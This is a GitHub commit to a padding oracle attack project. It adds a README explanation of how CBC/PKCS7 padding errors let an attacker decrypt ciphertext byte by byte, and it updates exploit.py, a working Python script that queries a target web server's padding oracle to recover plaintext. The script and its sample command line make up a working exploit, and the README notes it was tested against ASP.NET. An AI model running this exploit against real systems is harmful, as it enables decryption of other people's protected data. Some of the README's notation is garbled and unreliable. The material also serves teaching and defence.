Skip to content

Commit f9f8db2

Browse files
committed
Update the readme with more cryptography
1 parent bc32e5f commit f9f8db2

File tree

2 files changed

+128
-20
lines changed

2 files changed

+128
-20
lines changed

README.md

+96-5
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,97 @@
11
# Padding Oracle Attack
22

3-
An exploit for the [Padding Oracle Attack](http://en.wikipedia.org/wiki/Padding_oracle). Tested against ASP.NET, works like a charm. The CBC mode must use [PKCS7](https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS7) for the padding block.
4-
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). I advise you to read it if you want to understand the basic of the attack.
5-
This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES.
3+
An exploit for the [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack). Tested against ASP.NET, works like a charm. The CBC mode must use [PKCS7](https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS7) for the padding block.
4+
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). Since the article is not very well formated and maybe unclear, I made an explanation in the readme. i advise you to read it if you want to understand the basics of the attack.
5+
This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES. You can find instructions to launch the attack [here](https://github.com/mpgn/Padding-Oracle-Attack#options).
6+
7+
## Explanation
8+
9+
I will explain in this part the cryptography behind the attack. To follow this you need to understand the [CBC mode cipher chainning](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29) or [video link](https://www.youtube.com/watch?v=0D7OwYp6ZEc.) and the operator ⊕. This attack is also a [chosen-ciphertext attack](https://en.wikipedia.org/wiki/Chosen-ciphertext_attack).
10+
11+
Encryption | Decryption
12+
--- | ---
13+
C<sub>i</sub> = E<sub>k</sub>(P<sub>i</sub> ⊕ C<sub>i-1</sub>), and C<sub>0</sub> = IV | P<sub>i</sub> = D<sub>k</sub>(C<sub>i</sub>) ⊕ C<sub>i-1</sub>, and C<sub>0</sub> = IV
14+
15+
In CBC mode we also need a padding in the case the length of the plaintext doesn't fill all the block. For example we can have this plaintext and the following padding if the length of the block is 8 :
16+
17+
`S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02`
18+
19+
You can notice the length of SECRET MESSAGE is 14 so we need to fill two blocks of CBC equal 16. There are two bytes left, this is where the padding step in. You can see the two last byte 0202. Another example, if the padding had a length of 5, it will be fill with 05|05|05|05|05. Of course there is different way to fill the padding but in our case like most of the case the standard is [PKCS7](https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS7) for the padding block.
20+
21+
If the padding does not match the PKCS7 standard it will produce an error. Example :
22+
23+
`S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03`
24+
25+
When the block will be deciphered there will be a verification to check if the padding is good or not :
26+
27+
`S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03` => Wrong padding <br>
28+
`S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02` => Good padding
29+
30+
Now imagine we can **know** when we have a bad padding and a good padding (the server send an "error padding" or "404 not found" when the padding is wrong etc). We will call this our [Oracle](http://security.stackexchange.com/questions/10617/what-is-a-cryptographic-oracle). The answers he will give us will be :
31+
32+
* good padding
33+
* bad padding
34+
35+
Now we know that, we can construct a block to retrieve one byte of the plaintext, don't forget this is a chosen-ciphertext attack.
36+
An attacker will intercept a cipher text and retrieve byte by byte the plaintext.
37+
38+
* intercepted cipher : C<sub>0</sub> | C<sub>...</sub> | C<sub>i-1</sub> | C<sub>i</sub>
39+
* then build a block like this :
40+
41+
C'<sub>i-1</sub> = C'<sub>i-1</sub> ⊕ 00000001 ⊕ 0000000X || C<sub>i</sub>
42+
43+
Where X is a char between `chr(0-256)`.
44+
45+
* then he sends C'<sub>i-1</sub> || C<sub>i</sub> to the oracle. The oracle will decrypt like this :
46+
47+
D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> <br>
48+
= D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> ⊕ 00000001 ⊕ 0000000X <br>
49+
= P'<sub>i</sub> ⊕ 00000001 ⊕ 0000000X <br>
50+
51+
Now there is two possibilities: a padding error or not :
52+
53+
* if we have a padding error :
54+
55+
```
56+
If P'i ⊕ 0000000Y == abcdefg5 then:
57+
abcdefg0 ⊕ 00000001 = abcdefg5
58+
```
59+
This is a wrong padding, so we can deduce the byte Y is wrong.
60+
61+
* The oracle didn't give us a padding error and we know the byte X is good :
62+
63+
```
64+
If P'i ⊕ 0000000X == abcdefg0 then:
65+
abcdefg0 ⊕ 00000001 = abcdefg1
66+
```
67+
68+
<hr>
69+
70+
**For the second byte :**
71+
72+
73+
C'<sub>i-1</sub> = C'<sub>i-1</sub> ⊕ 00000022 ⊕ 000000YX || C<sub>i</sub>
74+
75+
And then :
76+
77+
D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> <br>
78+
= D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> ⊕ 00000022 ⊕ 000000YX <br>
79+
= P'<sub>i</sub> ⊕ 00000001 ⊕ 00000YX <br>
80+
81+
* TThe oracle didn't give us a padding error and we know the byte X is good :
82+
83+
```
84+
If P'i ⊕ 000000YX == abcdef00 then:
85+
abcdef00 ⊕ 00000022 = abcdef22
86+
```
87+
88+
etc etc for all the block. You can now launch the python script by reading the next section :)
89+
90+
91+
### Protection
92+
93+
* Encrypt and MAC your data : http://security.stackexchange.com/questions/38942/how-to-protect-against-padding-oracle-attacks
94+
* Don't give error message like "Padding error", "MAC error", "decryption failed" etc
695

796
## Options
897

@@ -35,14 +124,16 @@ Example:
35124
python exploit.py -c E3B3D1120F999F4CEF945BA8B9326D7C3C8A8B02178E59AF506666542AB5EF44 -l 16 --host host.com -u /index.aspx?c= -v --error "Padding Error"
36125
```
37126

127+
<a href="https://asciinema.org/a/40222" target="_blank"><img src="https://asciinema.org/a/40222.png" height="350" width="550" ></a>
128+
38129
## Customisation
39130

40131
> I wan to custom the Oracle !
41132
42133
No problem, find these line and do what you have to do :)
43134

44135
* Custom oracle response:
45-
```
136+
```python
46137
####################################
47138
# CUSTOM YOUR RESPONSE ORACLE HERE #
48139
####################################
@@ -63,7 +154,7 @@ def test_validity(response,error):
63154
```
64155

65156
* Custom oracle call (HTTP)
66-
```
157+
```python
67158
################################
68159
# CUSTOM YOUR ORACLE HTTP HERE #
69160
################################

exploit.py

+32-15
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
'''
44
Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
5+
Check the readme for a full cryptographic explanation
56
Author: mpgn <[email protected]>
67
Date: 2016
78
'''
@@ -11,7 +12,6 @@
1112
import re
1213
import binascii
1314
import sys
14-
import logging
1515
import time
1616
from binascii import unhexlify, hexlify
1717
from itertools import cycle, izip
@@ -88,7 +88,7 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
8888
if len(cipher_block[block]) != len_block:
8989
print "[-] Abort length block doesn't match the size_block"
9090
break
91-
print "[+] Search value block : ", block
91+
print "[+] Search value block : ", block, "\n"
9292
#for each byte of the block
9393
for i in range(0,size_block):
9494
# test each byte max 255
@@ -99,40 +99,57 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
9999
bk = block_search_byte(size_block, i, ct_pos, valide_value)
100100
bp = cipher_block[block-1]
101101
bc = block_padding(size_block, i)
102-
if args.verbose == True:
103-
print "[+] Block M_Byte : %s"% bk
104-
print "[+] Block C_{i-1}: %s"% bp
105-
print "[+] Block Padding: %s"% bc
106102

107103
tmp = hex_xor(bk,bp)
108104
cb = hex_xor(tmp,bc).upper()
109105

110106
up_cipher = cb + cipher_block[block]
111-
print "[+] Test [Byte ",''.join('%02i'% ct_pos),"/256 - Block",block,"]: ", up_cipher
112-
if args.verbose == True:
113-
print ''
114107
#time.sleep(0.5)
115108

116109
# we call the oracle, our god
117110
connection, response = call_oracle(host,cookie,url,post,method,up_cipher)
111+
118112
if args.verbose == True:
119-
print "[+] HTTP ", response.status, response.reason
120-
113+
exe = re.findall('..',cb)
114+
discover = ('').join(exe[size_block-i:size_block])
115+
current = ('').join(exe[size_block-i-1:size_block-i])
116+
find_me = ('').join(exe[:-i-1])
117+
118+
sys.stdout.write("\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m" % (ct_pos, block, find_me, current, discover))
119+
sys.stdout.flush()
120+
121121
if test_validity(response,error):
122+
122123
found = True
123124
connection.close()
124125

125-
# data analyse
126+
# data analyse and insert in rigth order
126127
value = re.findall('..',bk)
127128
valide_value.insert(0,value[size_block-(i+1)])
128-
print "[+] Found", i+1, "bytes :", ''.join(valide_value)
129+
130+
if args.verbose == True:
131+
print ''
132+
print "[+] Block M_Byte : %s"% bk
133+
print "[+] Block C_{i-1}: %s"% bp
134+
print "[+] Block Padding: %s"% bc
135+
print ''
136+
137+
bytes_found = ''.join(valide_value)
138+
if i == 0 and bytes_found.decode("hex") > hex(size_block):
139+
print "[-] Error decryption failed the padding is > 16"
140+
sys.exit()
141+
142+
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
129143
print ''
130144

131-
# change byte of the block
132-
#sys.exit()
133145
break
134146
if found == False:
135147
print "[-] Error decryption failed"
148+
result.insert(0, ''.join(valide_value))
149+
hex_r = ''.join(result)
150+
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
151+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
152+
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
136153
sys.exit()
137154
found = False
138155

0 commit comments

Comments
 (0)